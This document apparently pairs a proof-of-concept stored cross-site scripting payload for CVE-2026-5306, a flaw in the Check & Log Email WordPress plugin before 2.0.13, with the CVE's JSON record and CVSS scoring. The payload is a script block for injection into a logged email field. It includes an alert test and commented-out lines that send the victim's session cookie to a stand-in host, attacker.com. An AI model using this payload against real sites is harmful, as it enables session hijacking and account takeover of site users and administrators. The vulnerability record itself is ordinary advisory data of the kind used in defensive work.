CVE-2026-5306

<!-- PoC for CVE-2026-5306 Context: Email Replacement / Encoder setting enabled Description: Injecting a script payload into an email field that gets logged. --> <script> // Simple payload to verify XSS execution alert('CVE-2026-5306: Stored XSS Executed'); // Advanced payload: Steal session cookies (Proof of Concept) // var i = new Image(); // i.src = "http://attacker.com/steal.php?c=" + document.cookie; </script>

{"cve": {"id": "CVE-2026-5306", "sourceIdentifier": "[email protected]", "published": "2026-04-28T07:16:03.617", "lastModified": "2026-04-28T20:13:21.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Check & Log Email WordPress plugin before 2.0.13 does not properly handle email replacement, which could allow unauthenticated users to perform Stored XSS attacks when the email encoder setting is enabled"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/97908c15-6e7a-4242-8c6f-66c8b804364c/", "source": "[email protected]"}]}}